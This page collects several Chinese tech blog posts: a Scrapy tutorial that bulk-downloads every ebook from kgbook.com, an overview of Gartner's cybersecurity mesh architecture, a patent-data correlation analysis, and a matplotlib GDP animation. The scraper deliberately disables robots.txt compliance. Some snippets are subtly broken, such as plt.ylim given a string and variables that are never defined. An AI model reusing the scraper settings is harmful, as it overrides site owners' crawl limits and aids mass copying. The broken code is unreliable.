    我们这一生扮演的很多角色都是不可替代的,贴心的朋友、孝顺的子女、操心的家长。唯独工作是可以被替代的,如果你不干这些工作,依然有会有人干。与其把时间都投入到工作中内卷、焦虑、失眠,不如多花时间陪伴家人和朋友。 下班后该玩儿就玩儿,就陪家人就陪家人,把精力分散,而不是用下班时间去焦虑工作,还把这种内耗带到家里。你去运动、去做饭、去旅游、去亲近自然、去看一看花开日落、去体会一下风土人情。


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Scrapy爬虫框架实战

发表于 2023-09-12 | 更新于: 2025-08-10 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 1.8k | 阅读时长 ≈ 7

Python实现爬虫是很容易的,一般来说就是获取目标网站的页面,对目标页面的分析、解析、识别,提取有用的信息,然后该入库的入库,该下载的下载。以前写过一篇文章《Python爬虫获取电子书资源实战》,以一个电子书的网站为例来实现python爬虫获取电子书资源。爬取整站的电子书资源,按目录保存到本地,并形成索引文件方便查找。这次介绍通过Scrapy爬虫框架来实现同样的功能。

一、Scrapy简介

Scrapy 是用 Python 实现的一个为了爬取网站数据、提取结构性数据而编写的应用框架。
Scrapy 常应用在包括数据挖掘,信息处理或存储历史数据等一系列的程序中。
通常我们可以很简单的通过 Scrapy 框架实现一个爬虫,抓取指定网站的内容或图片。

Scrapy爬虫框架

  • Scrapy Engine(引擎):负责Spider、ItemPipeline、Downloader、Scheduler中间的通讯,信号、数据传递等。
  • Scheduler(调度器):它负责接受引擎发送过来的Request请求,并按照一定的方式进行整理排列,入队,当引擎需要时,交还给引擎。
  • Downloader(下载器):负责下载Scrapy Engine(引擎)发送的所有Requests请求,并将其获取到的Responses交还给Scrapy Engine(引擎),由引擎交给Spider来处理,
  • Spider(爬虫):它负责处理所有Responses,从中分析提取数据,获取Item字段需要的数据,并将需要跟进的URL提交给引擎,再次进入Scheduler(调度器).
  • Item Pipeline(管道):它负责处理Spider中获取到的Item,并进行进行后期处理(详细分析、过滤、存储等)的地方。
  • Downloader Middlewares(下载中间件):可以当作是一个可以自定义扩展下载功能的组件。
  • Spider Middlewares(Spider中间件):可以理解为是一个可以自定扩展和操作引擎和Spider中间通信的功能组件(比如进入Spider的Responses;和从Spider出去的Requests)

二、Scrapy实战

虽然用python写一个爬虫也不是很费事,但是有了Scrapy以后让你实现爬虫更简单,更加通用,现在我们还是以《Python爬虫获取电子书资源实战》中的例子,爬取目标网站kgbook.com。也可以对比看一下通过Scrapy爬虫框架实现相同的功能有多么的方便。

1、Scrapy安装

首先通过 pip 安装 Scrapy 框架

1
pip install Scrapy

2、创建Scrapy项目工程

创建getbooks的项目

1
scrapy startproject getbooks

创建一个getkgbook的爬虫,目标网站kgbook.com

1
scrapy genspider getkgbook kgbook.com

项目的结构如下图所示

Scrapy项目目录结构

3、实现Scrapy的爬虫代码

爬数据

主要的爬虫逻辑实现代码都在getkgbook.py中,在这里实现目录的爬取、翻页、进入到详情页,并解析详情页的数据。
getkgbook.py

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
import os
import re
import scrapy
from getbooks.items import KgbookItem


class GetkgbookSpider(scrapy.Spider):
name = "getkgbook" #爬虫的名称
allowed_domains = ["kgbook.com"] #爬取的网站
start_urls = ["https://kgbook.com"] #爬取的首页

def parse(self, response):
categorys = response.xpath('//div[@id="category"]/div/ul/li/a')
for category in categorys:
category_url = category.xpath('./@href').extract_first()
url=response.urljoin(category_url)
#爬取进入到目录页
yield response.follow(url, self.parse_booklist)

#解析目录页
def parse_booklist(self,response):
book_list_select=response.css('.channel-item h3.list-title a')
#获取书籍列表
for book_info_select in book_list_select:
book_name=book_info_select.css('::text').extract_first()
book_detail_url=book_info_select.css('::attr(href)').extract_first()
book_detail_url=response.urljoin(book_detail_url)
print(book_name,book_detail_url)
yield scrapy.Request(url=book_detail_url, callback=self.pase_bookdetail)
#翻页
nextpage_url = response.xpath('//div[@class="pagenavi"]/a[contains(text(), "下一页")]/@href').extract_first()
if nextpage_url:
yield response.follow(nextpage_url, self.parse_booklist)

#解析详情页
def pase_bookdetail(self,response):
navegate=response.xpath('//nav[@id="location"]/a')
if len(navegate)>1:
book_category=navegate[1].xpath('./text()').extract_first()
book_name=response.css('.news_title::text').extract_first()
book_author=response.xpath('//div[@id="news_details"]/ul/li[contains(text(),"作者")]/text()').extract_first()
pattern=re.compile('mobi|epub|azw3|pdf',re.I) #解析书籍的类型
book_download_urls=response.xpath('//div[@id="introduction"]/a[@class="button"]')
for book_download_urlinfo in book_download_urls:
book_type=book_download_urlinfo.re(pattern)
if book_type:
book_download_url=book_download_urlinfo.xpath('./@href').extract_first()
#获取要下载的书籍的名称、作者、要保存的路径、下载地址
item=KgbookItem()
item['book_name']=book_name
item['book_author']=book_author
item['book_file']=os.path.join(book_category,book_name+"."+str(book_type[0]).lower())
item['book_url']=book_download_url
print(book_name,book_author,book_download_url,item['book_file'])
return item

在这里我们通过xpath解析器和css解析器来解析获取网页中的有用的信息。如提取a 标签的href的信息 ,提取书籍的名称、作者、下载链接等信息。

保存数据

item.py
在item.py中定义了KgbookItem类,Item 定义结构化数据字段,用来保存爬取到的数据,有点像 Python 中的 dict,但是提供了一些额外的保护减少错误。在这里定义了book_name、book_author、book_file、book_url这些信息都会通过爬虫提取后保存用来输出到文件或数据库等。

1
2
3
4
5
6
7
import scrapy

class KgbookItem(scrapy.Item):
book_name=scrapy.Field()
book_author=scrapy.Field()
book_file=scrapy.Field()
book_url=scrapy.Field()

下载数据

通过pipelines定义文件下载的管道类
pipelines.py

1
2
3
4
5
6
7
8
9
10
11
from scrapy import item, Request
from scrapy.pipelines.files import FilesPipeline

class KgBookFilePipeline(FilesPipeline):

def get_media_requests(self,item,info):
yield Request(item['book_url'],meta={'book_file':item['book_file']})

def file_path(self, request, response=None, info=None):
file_name=request.meta.get('book_file')
return file_name

这里实际上只做两件事,一是get_media_requests下载文件,二是组织文件要保存的路径。会通过相应的下载中间件将文件下载并保存在需要保存的目录。这里我们规划的保存目录是书籍目录\书名.类型。
还需要在settings.py中定义下载后保存的路径

1
2
3
4
5
6
# 保存书籍的路径
FILES_STORE='./books'
# 定义自定义下载的管道
ITEM_PIPELINES = {
"getbooks.pipelines.KgBookFilePipeline": 300,
}

加入以下定义,强制爬取、下载,并忽略301,302重定向

1
2
3
4
5
6
# Obey robots.txt rules
ROBOTSTXT_OBEY = False

MEDIA_ALLOW_REDIRECTS = True

HTTPERROR_ALLOWED_CODES = [301,302]

至此,就通过Scrapy爬虫框架实现了一个爬虫。
运行效果
执行 scrapy crawl getkgbook -o books.json
可以看到控制台打印出来的日志,爬虫开始默默的勤勤恳恳的爬取了。
爬取日志

爬取的结果保存到了books.json中
books.json

要下载的书籍也保存到了books下相应的目录下了
保存的文件

三、注意事项

有可能在文件下载的时候并没有把文件下载下来,原因是文件下载路径有重定向。

1
2
3
4
2023-09-12 22:25:38 [scrapy.core.engine] DEBUG: Crawled (301) <GET https://kgbook.com/e/DownSys/GetDown?classid=24&id=471&pathid=0> (referer: None)
2023-09-12 22:25:38 [scrapy.pipelines.files] WARNING: File (code: 301): Error downloading file from <GET https://kgbook.com/e/DownSys/GetDown?classid=24&id=471&pathid=0> referred in <None>
2023-09-12 22:25:38 [scrapy.core.engine] DEBUG: Crawled (301) <GET https://kgbook.com/e/DownSys/GetDown?classid=24&id=4742&pathid=0> (referer: None)
2023-09-12 22:25:38 [scrapy.pipelines.files] WARNING: File (code: 301): Error downloading file from <GET https://kgbook.com/e/DownSys/GetDown?classid=24&id=4742&pathid=0> referred in <None>

需要在settings.py中加入

1
2
3
MEDIA_ALLOW_REDIRECTS = True  #直接下载

HTTPERROR_ALLOWED_CODES = [301,302] #忽略重定向的报错信息

现在我们通过一个Scrapy爬虫框架实例实现了网站的爬取,重代码量上看比python直接写少了很多,通用性也更强了。通过管道不仅仅可以将数据保持至json还可以保存到Excel、数据库等。

全部源代码见 https://github.com/xiejava1018/Scrapybooks


博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

网络安全之认识网络安全网格架构(CSMA)

发表于 2023-09-11 | 更新于: 2025-08-10 | 分类于 技术 , 网络安全 | | 阅读次数:
字数统计: 4k | 阅读时长 ≈ 13

“网络安全网格(CyberSecurity Mesh)”是 Gartner 提出的网络安全技术发展新趋势,近两年连续入选其年度重要战略技术趋势研究报告,成为当前网络安全领域流行的热词,受到网络安全从业者的高度关注。

一、概念产生的背景

如今,由于现在平均每个企业在自己的网络上部署了多达45个安全解决方案,使得任何形式的集中管理都几乎无法实现。更糟糕的是,检测和响应网络事件需要在其中的19个工具之间进行协调,导致每次设备升级时都需要不断管理和重新配置。
CSMA概念背景

仅仅依靠连接不同安全技术的变通方法是不够的,企业需要一个全面覆盖、深度集成和动态协同的“网络安全网格平台”,提供集中管理和可见性,支持在一个庞大的解决方案生态系统中协同运行,自动适应网络中的动态变化。

因此有了网络安全网格这个概念。

Gartner 发布的《2021 年重要战略技术趋势》(Top Strategic Technology Trends for 2021)中描述了网络安全网格的概念:“网络安全网格是一种分布式架构方法,能够实现可扩展、灵活和可靠的网络安全控制。现在许多资产存在于传统安全边界之外,网络安全网格本质上允许围绕人或事物的身份定义安全边界。通过集中策略编排和分布策略执行来实现更加模块化、更加快速响应的安全防护。”

在 Gartner 发布的《2022 年重要战略技术趋势 》(Top Strategic Technology Trends for 2022)中对网络安全网格概念有了进一步的说明:“数字业务资产分布在云和数据中心,基于边界的传统、分散的安全方法使组织容易遭受攻击。网络安全网格架构提供一种基于身份的可组合安全方法,以创建可扩展和可互操作的服务。通用的集成结构可以保护任务组织的任何资产,对于使用这样的一体化安全工具的组织来说,可将单项安全事件的财务影响平均减少 90%。”

从上述 Gartner 报告的描述中可以看出,网络安全网格是一种安全架构方法或者策略,而不是一种定义明确的架构或标准化的技术方法,更不是某种产品,其目的是找到能够应对不断发展的业务系统以及网络环境演变所带来的安全挑战的新方法,提供比传统物理边界防护更强大、更灵活和可扩展的安全能力。通过连接、集成和协同管理各种网络安全控制系统、服务和数据来提供综合安全保护的框架。它致力于构建一个灵活、弹性和动态的安全环境,以适应日益复杂和多样化的网络安全威胁。

二、架构与实现

Gartner 提出了网络安全网格的具体实现框架,即网络安全网格架构(CyberSecurity Mesh Architecture,CSMA)。这是一种分布式安全服务的协作框架,提供安全分析与情报、统一策略管理、整合操控界面和分布式身份结构等 4个安全基础设施使不同的安全工具能够基于该基础设施协同工作并实现统一的配置和管理,提高安全工具的可组合性、可扩展性和互操作性,解决多种安全工具在各个孤立体系中运行时所带来的问题,实现各种安全能力的有机聚合,适应业务发展需要并达到“力量倍增”的效果。

CSMA架构图
网络安全网格架构的组成如上图图所示,4 个基础支撑层之间以及与其他安全系统之间的关系如下:

  1. 安全分析与情报层。可与来自第三方的安全工具开展联合协同检测,基于丰富的威胁分析手段,结合威胁情报,利用机器学习等技术形成更加准确一致的威胁分析结果。
  2. 统一策略管理层。主要包括安全策略编排和安全态势管理,将集中的策略转换为各个安全工具的本地配置策略,实现分布式执行,并支持动态策略管理服务。
  3. 整合操控界面层。实现安全数据可视化,提供安全系统复合视图,主要包括统一的控制面板、告警、审查、指导手册和报告等,使安全团队能够更快速、更有效地响应安全事件。
  4. 身份架构层。主要提供目录服务、自适应访问以及去中心化的身份管理、身份验证和授权管理等功能,支撑构建适合用户需求的零信任网络架构。

网络安全网格是在物理网络之上构建的逻辑层,网络安全架构的应用视图如下图所示,直观展示了在逻辑层中通过对各种安全能力的编排、执行,使得各种安全工具基于 4 个安全基础层实现互操作,提供统一的安全管控和可见性,而不是在孤岛中运行每个安全工具,从而构建一个能在庞大的安全生态中协同运行,且自动适应网络环境演化的安全平台。
CSMA应用视图

三、主要特点

网络安全网格主要涉及设计和建设 IT 安全基础设施,采用“水平”分布式方式将各种安全能力集成到网络中,而不是采用传统的“自上而下”、各种安全设备“一应俱全”的集成方式,致力于构建一个能在庞大的安全生态系统中协同运行,且自动适应网络环境演化的全面覆盖、统一管控、动态协同和快速响应的安全平台。

  • 通用集成框架。网络安全网格提供一种通用的集成框架和方法,实现类似“乐高”化思维的灵活、可组合、可扩展的安全架构。通过标准化工具支持可互操作的各种安全服务编排和协同,从而实现广泛分布的不同安全服务的高效集成,建立起合作的安全生态系统来保护处于本地、数据中心和云中的数字资产,并基于数据分析、情报支持和策略管理等能力的聚合形成更加强大的整体安全防御和响应处置能力。

  • 分布式网络架构。网络安全网格利用了“网格”的去中心化、对等协作、结构灵活、连接可靠、扩展性强等优势,不再侧重于围绕所有设备或节点构建“单一”边界,而是围绕每个接入点创建更小的、单独的边界 [5-6]。通过建立与接入点同样多的安全边界,保证物理位置广泛分布的用户能随时随地安全接入,符合零信任网络中的“微分段”要求,使得网络犯罪分子和黑客更难利用整个网络。同时,网络中主客体之间在逻辑上都是点对点直连关系,无须关注具体的物理网络部署,能够简化安全配置且能自动适应网络动态变化。

  • 集中管理与分散执行。与传统的网关集中访问控制不同,网络安全网格采用了集中的策略编排和权限管理,基于策略分布式的执行,将网络安全控制能力分布到网络的更多地方,使安全措施更接近需要保护的资产,一方面,有利于消除安全管控盲点,缓解传统集中安全控制存在的性能处理瓶颈,适应用户终端和组织业务分散化发展需要;另一方面,有利于实现全局的安全威胁分析,形成更加一致的安全态势,从而实现更加精准的安全管控和更加快速的响应处置。

  • 围绕身份定义安全边界。在当前网络协议中,因缺失身份要素带来了很多安全问题,物理 IP 地址与人和终端的关联性越来越弱,导致基于地址、流量、日志的安全检测和威胁分析技术难以实现针对人的威胁研判;基于网络协议字段特征检测的传统边界访问控制技术,同样使得基于身份的授权访问成为天方夜谭。由于网络威胁本质上是人带来的威胁,因此难以实现精准高效的安全威胁处置。网络安全网格延续了零信任网络的思想,用身份定义网络边界,让身份成为威胁研判与安全管控的基础。

四、应用场景

网络安全网格的应用场景包括:

  1. 云安全:网络安全网格可用于跨多个云环境提供综合的安全管理和保护,确保云服务的安全性和合规性。
  2. 边缘安全:网络安全网格可以应用于边缘计算环境,以提供安全的边缘设备管理、数据保护和边缘网络保护。
  3. 供应链安全:通过网络安全网格,可以实现供应链中各个环节的安全协同,共享安全信息,降低供应链中的安全风险。
  4. 物联网安全:网络安全网格可以为物联网设备和系统提供统一的安全管理和保护,保障物联网环境的安全性和可信度。

五、价值和优势

网络安全网格的主要价值包括:

  1. 综合安全保护:网络安全网格可以集成多个安全控制系统和服务,提供全面的安全保护,从网络边界到终端设备,覆盖各个层面和环节的安全需求。
  2. 动态适应能力:网络安全网格具备弹性和动态适应的特性,能够快速识别和响应新的威胁,并自动调整安全策略和控制措施以提供即时和有效的保护。
  3. 协同合作:网络安全网格促进了不同安全系统和服务之间的协同合作和信息共享。通过共享威胁情报和安全事件信息,提高整体的安全防御能力,并加强各方之间的合作与配合。
  4. 可扩展性和灵活性:网络安全网格具备高度的可扩展性,可以根据实际需求快速部署和调整安全控制系统,适用于各种规模和复杂度的网络环境。

网络安全网格与传统网络安全方法在以下几个方面存在区别:

  1. 集成性:传统网络安全方法通常是独立而孤立的解决方案,每个安全设备或系统都有自己的管理界面和策略。而网络安全网格强调集成不同的安全控制系统和服务,通过连接和协同工作来提供综合的安全保护,实现整体的安全扩展性和一致性。
  2. 动态适应性:传统网络安全方法通常是静态的,在部署后很少变动,而网络安全网格具备弹性和动态适应的特性。它可以根据实际需求自动调整安全策略和控制措施,灵活应对不断变化的威胁环境。
  3. 协同合作:传统网络安全方法主要依赖于各个安全设备或系统的独立工作,缺乏跨系统的协同合作。而网络安全网格通过实现安全控制系统和服务之间的协同和信息共享,提高整体的安全防御能力,并加强各方之间的合作与配合。
  4. 统一视图和管理:传统网络安全方法通常需要使用多个不同的管理界面来管理各个安全设备或系统,使得安全管理变得复杂而繁琐。而网络安全网格提供统一的视图和管理平台,使得管理员可以更便捷地管理和监控整个安全环境,提高管理效率和反应速度。
  5. 灵活性和可扩展性:传统网络安全方法在部署和扩展时通常需要考虑设备间的兼容性和差异性。而网络安全网格具备高度的灵活性和可扩展性,可以根据实际需求灵活部署和调整安全控制系统,适用于各种规模和复杂度的网络环境。

网络安全网格架构的优势主要体现以下几个方面:

  1. 实现更加可靠的安全防御。网络安全网格摒弃了传统的边界防护思想,不仅是围绕网络数据中心、服务中心构建“边界”,还围绕每个接入点创建更小的、独立的边界,并由集中的控制中心进行统一管理,从而将安全控制扩展到广泛分布的资产,在提高威胁应对能力的同时,增强了安全系统的可扩展性、灵活性和弹性。
  2. 应对复杂环境下的安全需求。通过网络安全策略集中编排但分散执行的方法,在统一的安全策略控制下,提供一种灵活且易于扩展的安全基础架构,可为混合云和多云等复杂环境中的资产保护提供所需的安全能力。
  3. 实现更加高效的威胁处置。通过安全工具集成,加强了安全数据采集和预测分析之间的协作,可以更加快速、准确地获取安全态势,及时发现并应对安全威胁,可大幅度增强对违规和攻击事件的响应处置能力。
  4. 构建更加开放的安全架构。提供了一种可编排的通用集成框架和方法,支持各类安全服务之间的协同工作,用户可自主选择当前和新兴的安全技术与标准,面向云原生和应用程序接口(Application Programming Interface,API) 插 件的环境更加易于集成,便于定制与扩展,能有效弥补不同供应商安全方案之间的能力差距。
  5. 降低建设维护的成本与难度。用户可以有效减少管理一组庞大的孤立安全解决方案的开销,同时,安全能力部署和维护所需的时间更少、成本更低,易于与用户已建设的身份识别与访问管理(Identity and Access Management,IAM)、安全信息和事件管理(Security Information and Event Management,SIEM)、 安 全运营中心(Security Operations Center,SOC)、态势感知等安全系统共存,也方便对接已建设的专线、软件定义广域网(Software-Defined Wide Area Network,SD-WAN)等网络服务。

博客地址:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Python进行数据相关性分析实战

发表于 2023-08-31 | 更新于: 2025-08-10 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 1.5k | 阅读时长 ≈ 6

平时在做数据分析的时候,会要对特征进行相关性分析,分析某些特征之间是否存在相关性。本文将通过一个实例来对数据进行相关性分析与展示。

一、数据集介绍

本次分析的是企业合作研发模式效果分析,企业的合作研发大致分为 企企合作、企学合作、企研合作、企学研合作,也就是企业与企业合作研发、企业与大学合作研发、企业与研究所合作研法、企业联合学校、研究所共同合作研发。现在就是想通过数据分析来看看那种合作研发模式的效果最好,产出最佳。

数据集是从公开网站获取的公开的专利信息,包括专利的公告日期、专利评分、专利估值,这些指标说明了专利的价值。
专利数据集

二、数据整理和探索

有了数据后先对数据进行整理,在这里我们用II表示企企合作、IU表示企学合作、IR表示企研合作、IUR表示企学研合作。
先导入python数据分析三大件numpy、pandas、matplotlib

1
2
3
4
5
import numpy as np
import pandas as pd
import matplotlib.pyplot as plt
plt.rcParams["font.sans-serif"]=["SimHei"] #设置字体
plt.rcParams["axes.unicode_minus"]=False #该语句解决图像中的“-”负号的乱码问题

对数据进行整理,将“有效”的数据检索出来,将合作研发的模式标识出来

1
2
3
4
5
6
7
8
9
10
11
II_data_original=pd.read_excel(r'./data/绿色低碳专利企企合作申报总数据_21578_2023-03-11.xlsx') #企企合作
IU_data_original=pd.read_excel(r'./data/绿色低碳专利企学合作申报总数据_6451_2023-03-11.xlsx') #企学合作
IR_data_original=pd.read_excel(r'./data/绿色低碳专利企研合作申报总数据_1706_2023-03-11.xlsx') #企研合作
IUR_data_original=pd.read_excel(r'./data/绿色低碳专利企学研合作申报总数据_241_2023-03-11.xlsx') #企学研合作
II_data_original['class_type']='II'
IU_data_original['class_type']='IU'
IR_data_original['class_type']='IR'
IUR_data_original['class_type']='IUR'
data_original=II_data_original.append([IU_data_original,IR_data_original,IUR_data_original])
data_original=data_original[(data_original.法律有效性=='有效')]
data_original

合作研发的模式标识
对日期进行处理,我们以年度为单位来分析每年各企业合作研发模式的数据,所以将日期处理成“年”为单位。

1
2
3
4
#处理日期
data_original['date']=pd.to_datetime(data_original['公开(公告)日'],format="%Y%m%d")
data_original['year']=data_original['date'].dt.strftime('%Y')
data_original

年份标签

我们只需要分析相应的专利质量的指标,这里与专利质量相关的指标大致为引文数量、专利估值、专利评分。然后以年度为单位来看看数据。

1
2
3
4
5
6
7
8
9
10
11
data_group=data_original.groupby(['year','class_type']).size()
df_data_group=data_group.unstack()
data_group_count=data_original.groupby(['year']).size()
data_group_quotecount=data_original[['year','引文数量总计']].groupby(['year']).sum() #引文数量
data_group_value=data_original[['year','专利估值']].groupby(['year']).mean() #专利估值
data_group_grade=data_original[['year','专利评分']].groupby(['year']).mean() #专利评分grade
df_data_group['count']=data_group_count
df_data_group['quotecount']=data_group_quotecount
df_data_group['value']=data_group_value
df_data_group['grade']=data_group_grade
df_data_group

合作研发数据

历年(2004-2022年)专利的合作模式的专利数量增长趋势

1
df_data_group.plot.bar(y=['II','IR','IU','IUR'],figsize=(32,4),stacked=True)

合作模式的专利数量增长趋势

历年(2015-2022年)的合作模式的专利数量对比情况

1
df_data_group['2015':'2022'].plot.bar(y=['II', 'IR', 'IU', 'IUR'], figsize=(32, 4))

合作模式的专利数量对比情况

从数据上可以看出,从2004年-2021年前些年,企业的研发模式是比较单一的,2004-2008年大部分都是企企合作的研发模式,其他研发模式先对比较少。从2004年-2021年,随着我国企业对研发的投入力度也来越大,专利的数量是逐年递增的,研发模式也逐步的多样化起来,但还是以企企合作和企学合作为主。

三、数据相关性分析与展示

因为从数据上看,从2015年以后各种研发模式逐步的多样化起来,所以我们来看一下2015年以后研发模式与研发质量各项指标的相关性。
通过numpyde的corrcoef()方法可以很方便的计算出各个特征之间的相关性系数,得出相关性矩阵。

1
2
ruslut=np.corrcoef(df_data_group['2015':'2022'],rowvar=False)
ruslut

相关性矩阵

看数据肯定没有看图形直观,所以我们将这个相关性矩阵进行可视化的展示。这里用seaborn来做数据的图形化展示。

1
2
3
4
import seaborn as sns
figure, ax = plt.subplots(figsize=(12, 12))
df=df_data_group['2015':'2022']
sns.heatmap(df.corr(), square=True, annot=True, ax=ax)

相关性矩阵图形化展示

这里可以看出企企合作和企学合作的数量相关性比较高,而企研合作value和grade具有相关性,说明企研合作模式的研发质量相对来说比较好。

最后,我们来看一下专利TOP20的单位研发类型分布、估值TOP20的专利的研发类型分布、评分TOP20的专利、研发类型的分布。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
data_countbyComp=data_original[['第一申请人-原文','class_type']].groupby(['第一申请人-原文']).size()
df_data_countbyComp=pd.DataFrame(data_countbyComp,columns=['counts'])
df_data_countbyCompTOP=df_data_countbyComp.sort_values('counts',ascending=False)[0:10]
count_top=data_original[(data_original['第一申请人-原文'].isin(df_data_countbyCompTOP.index.values))]
value_top=data_original.sort_values('专利估值',ascending=False)[0:10]
grade_top=data_original.sort_values('专利评分',ascending=False)[0:10]
count_top_show=count_top.groupby(['class_type']).size()
value_top_show=value_top.groupby(['class_type']).size()
grade_top_show=grade_top.groupby(['class_type']).size()
grade_top_show.index.values
fig, axs = plt.subplots(1, 3,figsize=(18, 18))
axs[0].pie(count_top_show,labels=count_top_show.index.values,autopct='%.2f%%',explode=(0.05,0, 0, 0))
axs[0].set(title='数量TOP20的单位,研发类型分布')
axs[1].pie(value_top_show,labels=value_top_show.index.values,autopct='%.2f%%',explode=(0, 0, 0.05))
axs[1].set(title='估值TOP20的专利,研发类型分布')
axs[2].pie(grade_top_show,labels=grade_top_show.index.values,autopct='%.2f%%',explode=(0.05, 0, 0))
axs[2].set(title='评分TOP20的专利,研发类型分布')

分布图

这里可以看出数量上还是以企企合作研发的模式最多,但是从专利的估值评分来看企学的专利估值占比最高。说明从 企企合作、企学合作、企研合作、企学研合作的这些企业合作研发模式看,企企合作研发数量最多,企学合作研发的质量相对较高。

至此,本文通过一个实例介绍了用python通过数据分析三件套numpy、pandas、matplotlib进行数据相关性分析的过程。


作者博客:http://xiejava.ishareread.com/


“fullbug”微信公众号

关注微信公众号,一起学习、成长!

Python通过matplotlib动态绘图实现中美GDP历年对比趋势动图

发表于 2023-08-27 | 更新于: 2025-08-10 | 分类于 技术 , 开发 | | 阅读次数:
字数统计: 1.9k | 阅读时长 ≈ 8

随着中国的各种实力的提高,经常在各种媒体上看到中国与各个国家历年的各种指标数据的对比,为了更清楚的展示历年的发展趋势,有的还做成了动图,看到中国各种指标数据的近年的不断逆袭,心中的自豪感油然而生。今天通过Python来实现matplotlib的动态绘图,将中美两国近年的GDP做个对比,展示中国GPD对美国的追赶态势,相信不久的将来中国的GDP数据将稳超美国。

效果如下:
中美GDP历年对比趋势动图

实现上面的动态绘图效果,综合用到了pandas的数据采集、数据整理、matplotlib绘图、坐标轴及数据的动态定义、定时器等知识。最终通过Python的GUI库PySide进行展示形成一个GUI的可执行程序。

一、数据采集和准备

中美历年的GDP数据通过百度在网上一搜一大把。我是从https://www.kylc.com/stats/global/yearly_per_country/g_gdp/chn-usa.html 找到的数据。将数据整理成EXCEL保存至data\中国VS美国.xlsx。
中国VS美国GDP数据集

有从1966年至2022年的中美GDP的数据。
首先对这些数据进行整理,因为获取的GDP数据是字符串类型如17.96万亿 (17,963,170,521,079),我们需要将GDP的数据从文本中提取出来,也就是取括号中的数据。
这里通过正则表达式将括号中的GDP数据提取出来,并转换为亿元为单位。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
import re
import pandas as pd
import locale
import matplotlib.pyplot as plt

pattern = re.compile('\((\S*)\)')

def getgdpvalue(gdpstr):
re_obj=pattern.search(gdpstr)
gdp_value=locale.atof(re_obj.group(1))/100000000
return gdp_value

df_data = pd.read_excel('data\中国VS美国.xlsx')
df_data = df_data.loc[1:len(df_data)]
df_data['china_gdp_value'] = df_data['中国'].map(getgdpvalue)
df_data['us_gdp_value'] = df_data['美国'].map(getgdpvalue)
df_data = df_data.sort_values('年份')

有了数据以后就可以通过数据绘图了。

二、matplotlib绘图

先通过matplotlib绘图看看数据的效果。

1
2
3
4
5
6
7
8
import matplotlib.pyplot as plt
plt.figure()
plt.plot(df_data['年份'],df_data['china_gdp_value'])
plt.plot(df_data['年份'],df_data['us_gdp_value'])
plt.title('中美GDP对比')
plt.xlabel('年份')
plt.ylim('GDP(亿)')
plt.show()

中美GDP对比趋势

可以看到中国的GDP数据在1960年至1990年都是比较平稳的,到了1990年后中国开始了爆发式的追赶模式。
我们要将这种趋势通过动态的方式展示出来。

三、数据展示与动态更新

首先通过QMainWindw定义QWidget组件,在QWidget中加入FigureCanvasQTAgg组件通过canvas载入matplotlib绘图。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
class ApplicationWindow(QMainWindow):

def __init__(self, parent=None,org_data=None):
QMainWindow.__init__(self, parent)
self.axes = None
self.axis_china=None
self.axis_us=None
self.datacount=10
self.org_data = org_data
self.auto_offset = 0
# Central widget
self._main = QWidget()
self.setCentralWidget(self._main)
# Figure
self.canvas = FigureCanvasQTAgg(figure)
if len(self.org_data) > 0:
show_data = self.org_data[0:self.datacount]
self.axes = self.canvas.figure.subplots()
self.axes.set_title('中美GDP对比')
self.axis_china = self.axes.plot(show_data['年份'], show_data['china_gdp_value'], label='中国GDP')
self.axis_us = self.axes.plot(show_data['年份'], show_data['us_gdp_value'], label='美国GDP')
y_max = max(self.org_data['us_gdp_value'].max(), self.org_data['china_gdp_value'].max())
self.axes.set_ylabel('GDP(亿元)')
self.axes.set_xlabel('年份')
self.axes.set_ylim(0, y_max)
self.axes.set_xlim(show_data['年份'].min(), show_data['年份'].max())
self.axes.legend(loc="upper left")
self.axes.yaxis.set_major_locator(mticker.MultipleLocator(20000))
self.axes.xaxis.set_major_locator(mticker.MultipleLocator(1))
figure.tight_layout() # 自动调整子图参数,使之填充整个图像区域
# 下拉框,选择模式 # ComboBox (combo_type)
self.combo_type = QComboBox()
self.combo_type.addItems(['自动播放', '手动播放'])
# Sliders
min_value = 0
self.max_value = len(self.org_data)-cur_data_len
self.slider_update = QSlider(minimum=min_value, maximum=self.max_value, orientation=Qt.Horizontal) # 滑动条
layout1 = QHBoxLayout()
layout1.addWidget(self.combo_type)
# layout
layout2 = QVBoxLayout()
layout2.addWidget(self.canvas, 88)
layout2.addWidget(self.slider_update)
# Main layout
layout = QVBoxLayout(self._main)
layout.addLayout(layout1)
layout.addLayout(layout2, 100)
self.canvas.draw()
# Signal and Slots connections
self.combo_type.currentTextChanged.connect(self.selecttype)
self.slider_update.valueChanged.connect(self.update_frequency)
self.autoslider()

一种方式是通过QSlider组件,通过手动拉slider组件来实现数据的变化,一种通过QTimer组件自动让数据变化。

1、QSlider组件,手动方式实现动态绘图

1
2
3
4
5
6
7
8
9
10
11
12
13
@Slot()
def update_frequency(self, new_val):
# 偏移量每次偏移1
f = int(new_val)
offset = f + cur_data_len # 偏移刻度
show_data = self.org_data[f: offset]
x = show_data['年份']
y_china = show_data['china_gdp_value']
y_us = show_data['us_gdp_value']
self.axes.set_xlim(x.min(), x.max())
self.axis_china[0].set_data(x, y_china)
self.axis_us[0].set_data(x, y_us)
self.canvas.draw()

手动拉slider组件来实现数据的变化效果:
手动数据变化

2、QTimer组件,自动动态绘图

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
    self.autoslider()

def autoslider(self):
self.timer = QTimer()
self.timer.setInterval(100) # 100毫秒更新一次数据
self.timer.timeout.connect(self.autoupdate) #自动更新数据,每次更新偏移量加1,也就是跳一年的数据
self.timer.start()

def autoupdate(self):
self.update_frequency(self.auto_offset)
self.slider_update.setSliderPosition(self.auto_offset)
if self.auto_offset < self.max_value:
self.auto_offset = self.auto_offset+1
else:
self.auto_offset = 0
